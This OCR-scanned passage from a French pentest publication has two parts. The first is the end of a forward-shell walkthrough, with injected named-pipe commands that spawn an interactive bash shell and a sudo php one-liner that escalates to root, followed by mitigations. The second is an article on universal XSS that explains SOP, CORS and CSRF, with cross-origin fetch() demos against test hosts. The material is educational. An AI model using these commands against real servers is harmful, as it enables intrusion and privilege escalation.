;jecho «python -c ‘\’’import pty;pty. Insertion de la commande Python permettant d'obtenir un
spawn (\»/bin/bash\») '\’ '» > /tmp/in- interpréteur de commandes interactif au sein du named
put pipe
Lecture du fichier output afin d'afficher le résultat de la com-
mande a l'attaquant

; /bin/cat /tmp/output

;jtruncate -s 0 /tmp/output Vider le fichier output

;echo «cd ..» > /tmp/input Insertion de la commande cd .. au sein du named pipe

Lecture du fichier output afin d'afficher le résultat de la com-

; /bin/cat /tmp/output mande a lattaquant

;truncate -s 0 /tmp/output Vidage le fichier output

;echo «sudo -1» > /tmp/input Insertion de la commande sudo -I au sein du named pipe

Lecture du fichier output afin d'afficher le résultat de la com-

; /bin/cat /tmp/output mande a lattaquant

;truncate -s 0 /tmp/output Vidage le fichier output

Avec le script interactif obtenu, il a été permis d'observer que pour notre exemple, l'utilisateur www-da-
ta peut exécuter le binaire php avec des droits root.

sudo /usr/bin/php -r «system(’{$cmd}’;"” Exécuter des commandes systeme sur I'hote

Ainsi, il est possible d’élever les privileges de l'utilisateur simplement avec la commande suivante :
www-data@debian-poc:/var/www/html$ sudo /usr/bin/php -r "system('id');"

L’attaquant exécute des commandes

f PHP) in Command line code on line 1 en tant que «root » sur le serveur
uid=0(root) gid=0(root) groups=0(root) compromis

PHP Warning: Use of undefined constant id -

Elévation de priviléges sur le serveur compromis

Avec linterpréteur de commandes interactif, il a donc été possible d'élever les privileges de l'utilisateur
actuel afin de compromettre totalement le serveur. En restant sur l'invit de commandes web non inte-
ractif, il n'aurait pas été possible de voir les privileges sudo.
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Méthode de contournement

Empécher la création de Named Pipe a un attaquant permettrait de prévenir I'exploitation de cette mé-
thode. Cela s'avere cependant tres difficile a réaliser en pratique. En effet, ceci signifierait restreindre
I'exécution du binaire mkfifo aux utilisateurs root par exemple.

Cette méthode de contournement ne fera malheureusement que ralentir un attaquant, car celui-ci
pourra charger son propre binaire mkfifo sur le serveur compromis avec des droits adaptés. Il est en
effet possible de charger des binaires sur des serveurs en les convertissant en Base64 au préalable.

Cette méthode d'obtention d'interpréteur de commandes interactif a distance est donc impossible a
restreindre.

Cependant, comme expliqué durant cet article, le serveur n'affichera pas toujours le résultat de la com-
mande exécutée au sein de sa réponse HTTP lors de I'exploitation d'une RCE.

Un attaquant pourrait contourner ce probleme en redirigeant la réponse de la commande non pas
dans un fichier /tmp/output, mais au sein d'un fichier présent dans le répertoire du serveur web ac-
cessible par l'utilisateur. Cependant, cela signifie devoir connaitre le chemin exact de ce répertoire. Et
sans réponse du serveur web, seules des assomptions peuvent étre faites. En effet, le chemin et le nom
du répertoire web par défaut peuvent étre modifiés rendant particulierement difficile 'exploitation de
cette méthode de Forward shell si aucune réponse de ses commandes n'est affichée a I'attaquant.

Du fait que cette méthode nécessite de pouvoir écrire sur le systeme vulnérable, une méthode de
contournement possible serait d'exécuter les différents services du serveur avec un utilisateur dispo-
sant de droits restreints. Si celui-ci ne peut pas écrire sur le systeme de fichiers de la machine, le Forward
shell ne pourrait pas étre obtenu par un attaquant.

Tableau récapitulatif

Voici un tableau récapitulatif des différentes méthodes permettant d'obtenir un interpréteur de com-
mandes interactif lorsqu’une vulnérabilité de type RCE est identifiée sur une application web :

Méthode Condition d'obtention Comment s'en prémunir

Restreindre l'acceés a son serveur web via son adresse IP
Directement depuis Internet

Pouvoir accéder directement au ser-

veur web via son adresse IP Utilisation d'un compte avec des priviléges restreints pour
faire tourner les services

Mettre des regles de filtrage pour restreindre les flux sor-
tants a ceux nécessaires (HTTP, DNS)

Bind shell

Les flux TCP sortants doivent étre au-

- Mise en place d'un Proxy HTTP sortant
torisés

Reverse shell

Utilisation d'un compte avec des privileges restreints pour
faire tourner les services
Utilisation d'un compte avec des privileges restreints pour
faire tourner les services

La sortie de la commande exécutée est

présente au sein de laréponse HTTP cjgisonnement dans un dossier spécifique sans le droit
d'écriture (jail)

Forward shell

Un WAF peut également étre placé devant les serveurs web afin de bloquer des charges
utiles ou des caracteres couramment utilisés par les attaquants. Des sondes de type IPS
peuvent aussi étre placées sur le réseau dans le méme effet. Ce n'est cependant qu'une
mesure complémentaire de durcissement et non une solution de remédiation.
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Universal Cross Site Scripting

Par Lucas PECH

TL;DR

L'objectif de cet article est de découvrir un type de vulnérabilité atypique concernant les navigateurs
. les XSS universelles.

Pour cela, dans un premier temps, un rappel détaillé des protections existantes au sein des naviga-
teurs (la Same Origin Policy (SOP), les entétes CORS et jetons) sera réalisé.

Ensuite l'article décrira comment les vulnérabilités de type Cross Site Scripting (XSS) et Cross Site
Scripting universelles (UXSS) permettent de contourner toutes ces sécurités.

Pour finir, des exemples d'UXSS seront présentés afin d'imager le fonctionnement de ce type de
vulnérabilités.

Introduction

Depuis la création du premier navigateur web nommé World Wide Web en 1990, les navigateurs n‘ont
cesseé d'évoluer au méme rythme qu’internet se démocratisait pour le plus grand nombre. En rendant
accessible rapidement et simplement les ressources exposées sur Internet, les navigateurs se sont tres
vite imposés comme un élément central au sein de I'écosystéme Internet et font désormais partie inté-
grante de la vie de plus de cing milliards d'utilisateurs.

En 30 ans d'évolution, les navigateurs web sont devenus des logiciels trés complexes qui rendent
désormais possible I'existence de sites dynamiques au design travaillé.

Tout cela est possible grace aux nombreux composants d'un navigateur qui permettent notamment
I'interprétation des feuilles de style en cascade, l'utilisation du langage JavaScript ou encore le stockage
de cookies. Cette évolution des navigateurs a permis la création de sites complexes permettant de ré-
aliser tout type de taches comme I'envoi de mail, le partage de données ou encore I'acces a un compte
bancaire.

Il est possible de contrdler tous les aspects de sa vie depuis un navigateur web.
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Les XSS universelles

Au vu de limportance des navigateurs web, des données qu'ils manipulent et des nombreuses taches
gu'ils permettent d'accomplir, leur sécurité est un aspect primordial . Les différentes ressources inter-
prétées et affichées par les navigateurs n'étant pas issues de sources sdres, il est primordial que leur
traitement ne présente aucune faille de sécurité étant donné I'impact que cela pourrait avoir sur l'utili-
sateur.

« L'objectif de cet article est de rappeler le fonctionnement
d’un navigateur et les sécurités existantes avant de présenter
en détail un type de faille affectant les fonctionnalités d’un
navigateur : les vulnérabilités de type « Cross-Site Scripting »
universelles (UXSS). »

Les failles de sécurité au sein d'un navigateur sont tres souvent critiques, car elles sont facilement ex-
ploitables a l'aide d'un site web malveillant et peuvent mener au vol de données trés sensibles.

Une particularité de la sécurité des navigateurs web vient du fait que la responsabilité pour la sécurité
est partagée :

* Une premiére partie de la responsabilité repose sur le créateur du site web qui doit s'assurer que
son site ne présente aucune vulnérabilité coté client qui pourrait mener a des attaques entre diffé-
rents utilisateurs du méme site web ;

« Une autre part de la responsabilité est du c6té du serveur hébergeant le site web. Il est important
qu'il soit a jour et ne présente aucune faille qui pourrait avoir des répercussions sur le site et ses
utilisateurs ;

« Enfin, une partie importante de la responsabilité est du c6té du navigateur qui doit s'assurer qu'un
site malveillant ne peut pas compromettre les informations d'un autre site respectant toutes les
bonnes pratiques de sécurité.

L'objectif de cet article est de rappeler le fonctionnement d'un navigateur et les sécurités existantes
avant de présenter en détail un type de faille affectant les fonctionnalités d'un navigateur : les vulné-
rabilités de type Cross-Site Scripting universelles (UXSS) Le but est de montrer comment une telle faille
peut permettre de contourner les sécurités existantes et rend possible la réalisation d'attaques sur des
sites parfaitement sécurisés.
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Les XSS universelles

Fonctionnement d'un navigateur web

Avant de détailler le fonctionnement des XSS universelles, il est important de comprendre le fonction-
nement d'un navigateur. Comme cela a été évoqué dans l'introduction, les navigateurs sont désormais
trés complexes et constitués de divers éléments connectés les uns aux autres.

Le schéma ci-dessous représente les principaux composants utilisés par le navigateur lors du charge-
ment d’un site web :

00O

L'utilisateur utilise I'interface du navigateur <:| |:> @ f)l a.com |

pour se rendre sur un site web. AN

(1) I ’
k_)\—’ - Le composant réseau du
H ead I n navigateur récupére les
g informations sur le serveur
’\ distant
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do (?/

eiusmoed tempor incididunt ut labore et dolore magna aliqua.

_—

Le moteur Javascript intepréte puis
exécute les scripts coté client afin de
rendre la page dynamigque

[oX e Xe]

Le moteur de rendu du navigateur interpréte les
fichiers HTML et CSS issus du serveur afin de
créer le DOM de la page et de I'afficher

[ dane Doe e | Usemame | © Remember me m
Le navigateur stocke certaines informations
(cookies par exemple) dans Je stockage du
5 navigateur web

Schéma résumant le fonctionnement d’'un navigateur

Une fois que l'utilisateur a renseigné, a l'aide de cette interface, 'URL du site web qu'il souhaite consul-
ter, le navigateur va alors transmettre l'information au composant réseau du navigateur qui va se char-
ger de récupérer les sources du site cible en requétant un serveur distant.

Une fois tous les fichiers récupérés, ils vont étre fournis a deux composants majeurs du navigateur :

+ Lemoteur derendu: Ce composant a pour role d’interpréter le code HTML et CSS recu et de générer
une représentation de la page correspondante au sein du navigateur. On appelle cette représen-
tation le DOM (Document Object Model). Cette représentation facilite ensuite la manipulation de
la page depuis le JavaScript mais sert aussi de base pour le rendu graphique qui permet d'afficher
correctement le contenu a l'utilisateur.

+ Le moteur JavaScript : Ce composant est chargé d'interpréter le code JavaScript et de I'exécuter. Ce
dernier est appelé aprés la création du DOM car il peut interagir avec et le modifier.

Enfin, la plupart des sites web utilisent le composant de stockage du navigateur afin de stocker les
cookies de session ou toutes autres données nécessaires pour le fonctionnement du site. Les différents
sites peuvent accéder a ce stockage par le biais d'instructions JavaScript.
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Les mécanismes

Le schéma présenté dans la partie précédente résume le fonctionnement d'un navigateur lors de l'acces
a un unique site internet. En réalité, les navigateurs sont amenés a charger plusieurs sites en simultané,
que ce soit par le biais d'onglets ou avec l'utilisation d'iframes qui permettent d'inclure un site web au
sein d'un autre.

Et c'est lors de I'acces a plusieurs sites en simultané que la sécurité du navigateur est importante. En
effet, c'est le réle du navigateur d'assurer que les différents sites ne peuvent interagir entre eux que
lorsque cela est strictement nécessaire et Iégitime.

Le code JavaScript hébergé sur le site d'un attaquant ne doit pas pouvoir interagir librement avec les
fonctionnalités et informations du site bancaire ouvert dans un autre onglet. Pour cela, des méca-
nismes de sécurité ont été définis et s'appliquent au sein de tous les navigateurs web :

+ La politique Same Origin Policy (SOP) ;
+ Les entétes Cross Origin Resource Sharing (CORS).

Same Origin Policy (SOP)

La Same Origin Policy (SOP) est un mécanisme de sécurité implémenté au niveau applicatif par tous les
navigateurs modernes.

Avant d’expliquer le fonctionnement de cette politique, il est nécessaire de comprendre comment est

définie l'origine d'un site web. Dans le cadre de la SOP, l'origine d'une page est définie par le tuple pro-
tocole / héte / port qui peut étre extrait de 'URL.

http://exemple.fr:8000/index.html

ALl R | v

Protocole -} Hoéte + Port =  Origine

Description des attributs constituant une origine

En se basant sur ces informations, la SOP permet de restreindre les interactions entre les différents
sites web ouverts au sein d'un navigateur en définissant les regles suivantes :

« Lessites ouverts par un navigateur disposent chacun d’'un espace dédié dans lequel sont contenues
les informations qui lui sont propres comme les cookies et le DOM ;

+ L'espace dans lequel est isolé un site dépend de son origine (schéma + domaine + port) ;

+ Le code JavaScript d'un site ne peut interagir qu'avec les ressources présentes dans l'espace dédié
au site depuis lequel il s'exécute.

Ces regles permettent donc d'assurer qu'un script chargé depuis une origine ne peut pas interagir avec
une ressource d'une autre origine. Cela permet donc d'empécher un site hébergeant du code JavaScript
malveillant de dérober les informations d’'un autre site ouvert par le navigateur car ce dernier sera isolé
dans son propre espace.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.




DOSSIER PENTEST §

Les XSS universelles

Voici un résumé des communications possibles entre différentes pages web lorsque la Same Origin
Policy s'applique :

Site A http://exemple.fr:8000/index.html

Site B Résultat Raison
http://exemple.fr:8000/dossier/autre.php Méme origine Seul le chemin différe
http://exemple.fr:4444/index.html Origine différente Port différent
https://exemple.fr:8000/index.html Origine différente Protocole différent
https://autre.exemple.fr:8000/index.html  Origine différente Hote différent

Par exemple, dans le cas d’'un utilisateur avec deux onglets ouverts dans son navigateur, imaginons que
I'utilisateur utilise le premier onglet pour se connecter a sa boite mail (emails.test.com) et que dans le
second onglet, il se soit fait piéger et ait ouvert le site d'un attaquant (attacker.test.com).

attacker.test.com:8000/sop_iframe. *

L'utilisateur est authentifié sur le

test.com . .
site de mail dans un autre onglet

Tentative d'acceés au cookie d'une iframe d'une autre origine :

Emails

From : example @ mail.com Le site de I'attaquant inclut
une iframe du site de mails

Title : Lorem ipsum dolor

Content : Lorem ipsum dolor sit amet,
consectetur adipiscing elit. Morbi mollis
lacus eu odio euismod, id vulputate eros
molestie. Proin placerat magna porttitor,
elementum nulla ac, faucibus ante. Nullam
eleifend vitae ligula non sagittis. Morbi vel
pellentesque urna.

Code Javascript permettant
d’interagir avec le DOM de [l'iframe

Utilisation du code Javascript suivant : /

-> setTimeout(() => {console. log(document.getElementByld("iframe").contentWindow.document.cookie) } ,5000);

W O Ins Console [ De : ditor () Performance  {J; Memory
1]

Uncaught DOMException: Permission denied to acc

=anonymous>

=anonymous>

Le navigateur bloque I'exécution de I'instruction visant
a accéder au DOM de l'iframe car les origines différent

Exemple d'erreur générée lors de I'acces aux attributs d'une iframe depuis une autre origine
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En se connectant a sa webmail, l'utilisateur s'est vu attribuer un cookie authentifiant que le navigateur
a stocké. Un scénario d’exploitation pour récupérer ce cookie depuis le site de I'attaquant pourrait donc
étre le suivant:

1. Le site de l'attaquant inclut une copie du site de mails a I'aide d'une iframe ;
2. Le site de I'attaquant tente d’accéder aux cookies du site de mails par le biais du DOM de l'iframe.

La réalisation d'un tel scénario serait possible au sein d'un navigateur n'appliquant pas la SOP.
Heureusement, pour tout navigateur appliquant cette politique, I'instruction JavaScript visant a accéder
au DOM de liframe sera bloquée car l'origine depuis laquelle s'exécute le code est différente de celle
de l'iframe.

Par exemple, en essayant de réaliser une telle opération depuis un navigateur Mozilla Firefox, le code
JavaScript est bien bloqué par la SOP (voir capture en bas de page).

L'iframe s'affiche pour l'utilisateur, mais il est impossible pour le code JavaScript du site de I'attaquant
d'accéder a ce que l'utilisateur voit au sein de liframe. Mais la SOP ne s'applique pas uniquement au
DOM. Cette politique permet aussi de protéger les acces réseau entre deux documents d'origines dif-
férentes.

En reprenant le cas précédent, le navigateur a stocké les cookies du site et les transmet, avec chaque
requéte, a destination de ce dernier. Cela signifie donc que les requétes émises depuis un site malveil-
lant vers le site de mails incluront aussi le cookie d’authentification de I'utilisateur.

Un nouveau scénario d'attaque pourrait donc consister a émettre une requéte vers une route permet-
tant de lister les mails de l'utilisateur depuis un site malveillant afin de voler tous les mails de la victime.

Cependant, dans le cadre de requétes GET simples, les navigateurs appliquant la SOP bloquent la lec-
ture des réponses aux requétes inter-origines. Ainsi, un site malveillant peut émettre des requétes GET
vers un site d'une autre origine mais il n'aura pas acces a la réponse depuis le code JavaScript.

00O attacker.test.com emails.test.com
) ~ °
<a o= @ attacker.test.com / \ o
7 N\ °
— /
1 La requéte GET est bien
émise vers le site de mails
<html>
<script>
fetch("http://emails.test.com:5000/mail", { credentials: 'include' })
.then(data => data.text())
then(result => console.log(result))
</script> Le navigateur empéche le code|
</html> Javascript d'accéder a la
2 ) réponse du site de mails

Schéma du fonctionnement de la SOP dans le cas d'une requéte GET simple
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En testant un tel scénario sur un navigateur Mozilla Firefox, il est possible d'observer que la SOP est bien
appliquée. La requéte est transmise vers le site de mails mais la lecture de la réponse depuis le code
JavaScript est bloquée par le navigateur :

L'utilisateur est authentifié sur le
site de mails dans un autre onglet

Tentative d'accés au contenu d'une page d'une autre origine :

-> fetch("http://emails test.com:5000/mail", { credentials: 'include' })

:Eznggzﬁfiﬁn‘;’;‘eoli (tesult) +—__|Code Javascript permettant d'interagir avec le site
- - " de mails par le biais d’'une requéte inter-origine

r T Network {} S dito Memory Storage £ bility > 2 ﬂ ..
C All JS XHR onts : edia W her C No Throttling = -I:I-
File

4 emails.test.com:5000 mail

Emails

La requéte GET est bien émise vers
le site de mails mais la réponse n’est
pas accessible par le code Javascript
du site malveillant

From : example@mail.com

Title : Lorem ipsum dolor

Content : Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi
mollis lacus eu odio euismod, id vulputate eros molestie. Proin placerat

magna porttitor, elementum nulla ac, faucibus ante. Nullam eleifend
vitae ligula non sagittis. Morbi vel pellentesque urna.

Exemple d'erreur générée lors de I'émission d'une requéte GET simple inter-origines

La SOP permet donc bien de protéger 'utilisateur en empéchant un site malveillant d'accéder aux in-
formations d'autres sites, que ce soit en passant par le DOM ou par le biais de requétes inter-origines.
Cependant, la protection de la SOP dans le second cas est complexe et peut varier en fonction de la
meéthode utilisée par la requéte.

« La SOP permet donc bien de protéger l'utilisateur en empeé-
chant un site malveillant d’accéder aux informations d’autres
sites, que ce soit en passant par le DOM ou
en passant par le biais de requétes inter-origines. »

Dans la prochaine partie, I'objectif est donc de revenir plus en détail sur la protection assurée par la SOP
lors de I'émission de requétes inter-origines.
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Dans la partie précédente, 'exemple utilisé pour décrire la protection mise en place par la SOP dans le
cadre de requétes inter-origines concernait une requéte GET simple et démontrait que le navigateur
permettait I'émission de la requéte mais pas la lecture de la réponse par le code JavaScript.

Ce comportement peut varier et dépend du type de requéte émise. Voici les deux types de requétes
pour lesquelles les vérifications réalisées par le navigateur vont varier :

Type de requéte Caractéristiques

Méthodes GET et HEAD

Requétes Méthode POST utilisant un entéte Content-Type avec une des valeurs suivantes :
« simples » « application/x-www-form-urlencoded

*  multipart/form-data

«  text/plain

Méthodes autres que GET et HEAD

Méthode POST utilisant un entéte Content-Type avec une valeur autre que :
Requétes « application/x-www-form-urlencoded
« preflight » «  multipart/form-data

« text/plain

Utilisation d'un entéte HTTP personnalisé

Requétes « simples »

Dans le cadre de requétes « simples », la protection du navigateur est celle observée dans la partie
précédente.

Par défaut, entre deux origines différentes, la requéte est bien émise mais la réponse n'est pas acces-
sible par le code JavaScript du site émetteur. Cette protection empéche donc un site malveillant d'accé-
der au contenu d'un autre site mais pas de réaliser des actions sur ce site par le biais de requétes POST .

Par exemple, en utilisant encore une fois le cas d'un utilisateur connecté a sa boite mail en ligne et qui
se rend sur le site d'un attaquant : si le site de I'attaquant émet une requéte inter-origine pour envoyer
un mail, alors le mail sera envoyé avec succes depuis le compte de la victime, méme si la réponse n'est
pas récupérable depuis le site de 'attaquant :

00O attacker.test.com emails.test.com ﬁ \\
4 e~ ° Le site de mails ayant regu une O
&8 = @ | attacker.test.com \ | P requéte POST authentifiée, le
AN o P) mail est bien envoyé.
<html> \ -
<script>
fetch(http://emails.test.com:5000/send_mail', { | a requéte POST est bien
method: 'POST', émise vers le site de mails
credentials: ‘include’,
headers: {
‘Content-Type': ‘application/x-www-form-urlencoded'
body: new URLSearchParams({
‘mail-to": ‘example @mail.com’,
‘mail-content": 'content’,
N
)] Le navigateur empéche le code
then(data => data.text()) Javascript d'accéder a la
then(result => console.log(result)); (ﬂ) réponse du site de mails
<Iscript>
</html>

Schéma du fonctionnement de la SOP dans le cas d'une requéte POST simple
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Tout comme les exemples précédents, ce comportement est observable sur Mozilla Firefox.

Ici la requéte POST émise par le site malveillant a bien utilisé les cookies de l'utilisateur afin d’envoyer
un mail en son nom mais il reste impossible de lire la réponse obtenue :

attacker.test.com:8000/default_cor =

W L'utilisateur est authentifié sur le

test.com 3 i
site de mails dans un autre onglet

Tentative d'émission d'une requéte POST vers une autre origine :

-> fetch('http://emails.test.com:5000/send_mail', {

method: 'POST’,
credentials: 'include',
headers: { -

'Content-Type': 'application/x-www-form-urlencoded' Code Javascript permettant d’envoyer un
I8 mail via une requéte POST inter-origine

body: new URLSearchParams({
'mail-to": 'example@mail.com’,
'mail-content’: 'content’,

N

}) then(data => data.text()) .then(result => console.log(result));

o 0O r ( D - M Network {3}
1] + Q ®
Status « Met

(o] POST send_mail

GET

Le mail est bien envoyé apreés la
reception de la requéte POST

Errors Warnings Logs Info Debug

XHRl POST http://emails
C i Same 0 lows re mote resource at http:// ils.test.com: 5888/ s
eader

Uncaught

La requéte POST est bien émise vers le site
de mails mais la réponse n’est pas accessible
par le code Javascript du site malveillant

Exemple d'erreur générée lors de I'émission d'une requéte POST simple inter-origines

L'envoi de requétes « simples » inter-origines usurpant l'identité d'un utilisateur est une
faiblesse connue de la SOP. Ce type d’attaque est connue sous le nom de Cross Site Re-
quest Forgery (CSRF). Les protections existantes pour se protéger de ces attaques seront
détaillées dans la suite de I'article (cf. 3.3.).
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Pour le second type de requétes, les requétes « preflight », la protection est différente et la requéte ne
sera émise que si le site cible I'accepte. Les CSRF ne sont donc pas possibles avec ce type de requétes.

Afin que cela soit possible, une premiére requéte OPTIONS est émise par le navigateur vers le site cible.
Cette requéte contient toutes les informations de la requéte émise initialement. Le site web cible va
alors répondre a cette requéte avec la liste des options pour lesquelles il accepte des requétes issues
d'autres origines.

Le navigateur va ensuite comparer les options de la requéte initiale a celles attendues par le serveur
distant et choisir d’'autoriser ou non lI'envoi de cette requéte.

Par défaut, les serveurs ne sont pas configurés pour accepter les requétes inter-origines. Le fonctionne-
ment est donc le suivant et I'envoi des requétes inter-origines est refusé :

attacker.test.com emails.test.com \

Requéte OPTIONS :
Access-Control-Request-Method: DELETE
Origin: attacker.test.com

Emission d'une requéte
DELETE vers mails.test.com

afin de supprimer un mail
1 Cookie: auth=7c40b3[...]37708eb2

3 Le serveur n'est pas
explicitement configuré pour
accepter les requétes DELETE
issues de l'origine
attacker.test.com

Réponse du serveur
Aucun entéte ; Access-Control-Allow

2\
n——// S

Aucun entétes CORS autorisant
I'émission de la requéte n'est
présent, le navigateur refuse

d'emettre la requéte
(3)

Requé LETE

Schéma du fonctionnement de la SOP dans le cas de requétes « preflight » émises vers une application n'utilisant pas d'entétes
CORS

« Pour le second type de requétes, les requétes « preflight »,

la protection est différente et la requéte ne sera émise que si

le site cible 'accepte. Les CSRF ne sont donc pas possibles
avec ce type de requétes. »
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Ce comportement peut, encore une fois, étre observé depuis un navigateur :

L'utilisateur est authentifié sur le
site de mails dans un autre onglet

Tentative d'émission d'une requéte DELETE vers une autre origine :

-> fetch('http://femails.test.com:5000/send_mail', {
method: 'DELETE',
credentials: 'include’,
headers: {
'Content-Type": 'application/x-www-form-urlencoded'
1.
body: new URLSearchParams({
'mail-to': 'example @mail.com',
'mail-content’: 'content’, n N
» Une requéte OPTIONS avec un entéte CORS
}) then(data => data.text()) .then(result => console.log(result)); est envoyée en amont de la requéte DELETE

1t Network {1} 5
I+ Q @ Jal HTML
File ~ [FI' Headers
OPTIONS & emails.test.com:5000 send_mail
DELETE  emai 0 send_mail

Errors Warnings Logs Info Debug

mails.test.com:5008/s

mails.test.com:58088/send_mail. (Reason: CORS

La requéte OPTIONS est bien envoyée vers le site de mails (Status code: 200)
mais la requéte DELETE n’est jamais envoyée (Status code: null)

Exemple d'erreurs générées lors de I'émission d'une requéte « preflight » émise vers une application n'utilisant pas d'entétes
CORS

Ici une requéte OPTIONS est bien envoyée avant la requéte initiale. La réponse a cette requéte n'auto-

risant pas explicitement I'émission de la requéte initiale, une erreur est générée et la requéte DELETE
n'est jamais envoyée vers le site de mails.
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Configuration des CORS

Pour les deux types de requétes présentées dans la partie précédente, le navigateur applique donc la
SOP afin de limiter au maximum I'émission de requétes malveillantes.

Mais dans certains cas, les requétes inter-origines sont légitimes. Il est donc possible, quel que soit le
type de requéte, d’'autoriser la communication entre deux sites d'origines différentes.

Pour cela, il est possible de configurer I'envoi d’entétes CORS par le serveur hébergeant I'application
souhaitant autoriser les requétes issues d’autres origines :

+Access-Control-Allow-Origin : cet entéte contient une liste des origines autorisées a requéter le ser-
veur

+ Access-Control-Allow-Methods : cet entéte contient une liste des méthodes autorisées dans le cadre
de requétes inter-origines

+Access-Control-Allow-Headers : cet entéte contient une liste des entétes autorisées dans le cadre de
requétes inter-origines

+ Access-Control-Allow-Credentials : cet entéte permet d'autoriser les requétes inter-origines authen-
tifiées a I'aide d'un cookie

Un navigateur qui observe ces différents entétes dans la réponse d’'un serveur pourra donc autoriser
les communications entre deux origines si la requéte respecte les différents entétes CORS.

L'utilisation de ces entétes est valable dans le cas de requétes preflight :

attacker.test.com emails.test.com \

Requéte OPTIONS :
Access-Control-Request-Method: DELETE
Orlgin: attacker.test.com

Emission d'une requéte
DELETE vers mails.test.com
afin de supprimer un mail

Cookie: auth=7c40b3[...]37708eb2

Le serveur est configuré pour
accepter les requétes DELETE
issues de l'origine
attacker.test.com

Réponse du serveur

Access-Control-Allow-Origin: attacker.test.com
A ‘:;Ont."“ Allow -0 .| DELE‘I’E

o

®

Les entétes autorisant la
requétes sont présent dans la
réponse, le navigateur émet

donc la requéte intiale
G3)

Requéte DELETE

Suppression d'un mail

Schéma du fonctionnement de la SOP dans le cas de requétes « preflight » émises vers une application configurée pour utiliser des
entétes CORS

Dans le cas de requétes « simples », les entétes CORS permettent au code JavaScript de lire la réponse
fournie par le serveur distant :
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Le site de mails est configuré pour renvoyer
les entétes CORS suivants :
Access-Control-Allow-Origin: attacker.test.com

) Access-Control-Allow-Credentials: true

attacker.test.com emalls test.com 4%——/

<&a oo @ attacker.test.com /

I

La requéte GET est bien
émise vers le site de mails
<html>
<script>

fetch("http://emails.test.com:5000/mail", { credentials: 'include' })
then(data => data.text())
then(result => console.log(result))
</script> Le navigateur autorise le code
</html> Javascript & accéder a la
3 ) réponse du site de mails

000

Schéma du fonctionnement de la SOP dans le cas de requétes « simples » émises vers une application configurée pour utiliser
des entétes CORS

Dans une telle configuration, un attaquant pourrait donc voler les mails de tous les utilisateurs se
rendant sur son site tout en étant authentifié sur le site de mail dans un autre onglet. Il est donc trés
important de configurer prudemment les sites autorisés au sein des entétes CORS.

Une vulnérabilité dans un site autorisé a émettre des requétes inter-origines vers un deu-
xiéme site est équivalente a une faille au sein des deux sites.

Aussi l'utilisation de wildcard au sein des entétes CORS (ex. : Access-Control-Allow-Origin :
*) est dangereuse car elle annule les protections mises en place par la SOP et rend donc
un site vulnérable.

Pour résumer, la SOP et les entétes CORS permettent de réglementer les échanges inter-origines de
maniere a empécher un site malveillant d'émettre des requétes arbitraires vers d'autres origines.

Mais comme nous l'avons observé, cette protection est imparfaite et il reste possible, dans le cas de
requétes « simples », de réaliser des actions au nom de la victime depuis un site malveillant.

Ces attaques sont connues sous le nom de Cross Site Request Forgery (CSRF) et nous allons voir dans la
partie suivante comment la majorité des sites internet s'en protéege.
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CSRF
La protection contre les CSRF n'est pas de la responsabilité du navigateur.

C'est a cause d'une faiblesse de la SOP pour les requétes « simples » que les CSRF sont possibles. C'est
donc aux sites web de se protéger contre ce type d'attaque en mettant en place des mécanismes an-
ti-CSRF.

Ces mécanismes sont présents sur une grande partie des sites web de nos jours et permettent de com-
bler le manque de protection de la SOP dans le cas des requétes « simples ».

Reprenons I'exemple du site de mail, afin d'envoyer un mail a partir de ce dernier, I'utilisateur doit rem-
plir un formulaire puis le soumettre au serveur. Afin de soumettre le contenu de ce formulaire, c’'est une
requéte POST qui est émise par le navigateur vers le serveur. Le serveur, une fois la requéte POST recue
se charge d'envoyer le mail a partir des informations contenues dans ce formulaire.

Dans le cas ou la requéte POST émise lors de I'envoi d'un mail prend la forme d'une requéte « simple »,
alors cela signifie qu'un site malveillant peut usurper l'identité d'un utilisateur, si ce dernier est connecté
au site de mails dans un autre onglet, en envoyant cette requéte a sa place.

Afin de remédier a cela, il est nécessaire pour le site de mails de mettre en place des jetons anti-CSRF
au sein de ses formulaires. L'objectif de ces jetons est d'ajouter une part d'aléatoire aux requétes POST
émises afin d’envoyer un mail. En ajoutant une part d’aléatoire a ces requétes, il devient impossible
pour un site malveillant de recréer une requéte et d'envoyer des mails a la place d'autres utilisateurs.

La mise en place d'une telle protection nécessite donc la réalisation des étapes suivantes :

« Génération de jetons anti-CSRF aléatoires par le serveur applicatif ;

« Transmission des jetons anti-CSRF aux clients lorsqu'ils naviguent sur le site web ;

« Transmission des jetons anti-CSRF au sein des différentes requétes émises par les clients ;

« Vérification de la validité des jetons anti-CSRF par le serveur lors du traitement des requétes.

Ce mécanisme permet d'assurer que les requétes émises par le client sont légitimes et qu'il navigue
réellement sur le site web, seul endroit ou il est possible de récupérer un jeton anti-CSRF valide.

Le seul moyen pour un attaquant de contourner cette sécurité serait de réussir a récupérer un jeton
anti-CSRF valide avant d’envoyer sa requéte. Mais la SOP bloque la récupération du contenu des pages
depuis une autre origine ce qui rend donc cette opération impossible.

« Dans une telle configuration, un attaquant
pourrait donc voler les mails de tous les utilisateurs
se rendant sur son site tout en étant authentifié sur
le site de mail dans un autre onglet. Il est donc
tres important de configurer prudemment les sites autorisés
au sein des entétes CORS. »
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Par exemple, dans le cas du site de mails, 'utilisation de jetons anti-CSRF permet d'empécher I'envoi de
mails depuis un site malveillant a 'aide de requétes « simples » :

Le jeton CSRF fourni au sein de la Q
requéte POST est invalide donc le

> mail n'est pas envoyé
kY
000 attacker.test.com emails.test.com \
o
< > (G | attackertest.com t o
¥ o
<html>
<script>

fetch('http://emails.test.com:5000/send_mail', {
method: 'POST’,
credentials: 'include’,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
h
body: new URLSearchParams({
'mail-to": 'example @mail.com’,
‘mail-content’: ‘content’, La requéte POST est bien
» T &mise vers le site de mails
then(data => data.text())
then(result => console.log(result));
</script>
</html>

Schéma du fonctionnement d'une application utilisant des jetons CSRF

La mise en place de jetons anti-CSRF permet donc de renforcer les protections déja mises en place par la
SOP. Ensemble, ces deux mécanismes permettent de protéger un site web des attaques issues de sites
web malveillants en assurant que les interactions inter-origines sont limitées.
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Comment contourner ces protections

Maintenant que le fonctionnement de la SOP, des entétes CORS et des jetons anti-CSRF ont été détaillés,
I'objectif est de présenter des vulnérabilités permettant de contourner ces différentes protections.

XSS classique

Les vulnérabilités coté clients les plus fréquentes sont les failles de type Cross Site Scripting (XSS). Ces
vulnérabilités sont issues d'un défaut au sein d'une application web et permettent de contourner toutes
